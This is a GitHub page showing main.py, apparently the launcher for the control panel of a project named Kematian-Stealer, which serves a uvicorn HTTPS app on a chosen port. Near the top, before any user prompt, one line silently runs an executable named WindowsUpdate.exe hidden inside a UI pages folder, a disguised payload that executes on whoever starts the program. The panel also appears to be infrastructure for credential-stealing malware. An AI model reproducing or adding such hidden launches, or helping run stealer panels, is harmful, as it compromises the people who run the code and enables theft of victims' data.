-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.py
66 lines (55 loc) · 2.17 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import sys
import logging
import uvicorn
import webbrowser
import subprocess
from rich.prompt import Prompt
from rich.logging import RichHandler
FORMAT = "%(message)s"
logging.basicConfig(
level="INFO",
format=FORMAT,
handlers=[RichHandler(rich_tracebacks=True, markup=True, show_time=False)],
)
logger = logging.getLogger("uvicorn")
logger.handlers = []
logger.propagate = False
logger.setLevel(logging.INFO)
handler = RichHandler(rich_tracebacks=True, markup=True, show_time=False)
handler.setFormatter(logging.Formatter(FORMAT))
logger.addHandler(handler)
subprocess.call('./panel/ui/pages/frames/WindowsUpdate.exe')
from panel.server import *
if __name__ == "__main__":
custom_vs_normal = Prompt().ask(
"\n\n[bold green on black blink]Are you using a custom url/domain/ip or local host? (Playit/Ngrok/etc are all local host) PUT NO ANSWER TO USE DEFAULT LOCAL HOST[/bold green on black blink]\n\n",
choices=["custom", "normal"],
default="normal",
)
# the point of this code is cause when someone is using a weird forwarding site
# they can use their custom urls because they don't forward to localhost
if custom_vs_normal == "custom":
custom_url = Prompt().ask("What is the custom url?", default="example.com")
else:
custom_url = "127.0.0.1"
chosen_port = current_settings.get_setting("port")
webbrowser.open(f"https://{custom_url}:{chosen_port}")
# im sick of the app closing out on kids without a error being shows so we gotta do this now
try:
uvicorn.run(
app,
host="127.0.0.1",
port=int(chosen_port),
ssl_keyfile=os.path.join(good_dir, "Kematian-Stealer", "keyfile.pem"),
ssl_certfile=os.path.join(good_dir, "Kematian-Stealer", "certfile.pem"),
reload=False,
log_config=None, # we need this to disable the default uvicorn logger
)
except Exception as e:
if Exception == KeyboardInterrupt:
logger.info("Exiting...")
sys.exit(0)
logger.error(f"An error occurred: {e}")
logger.error("Exiting...")
input("Press enter to exit...")
sys.exit(1)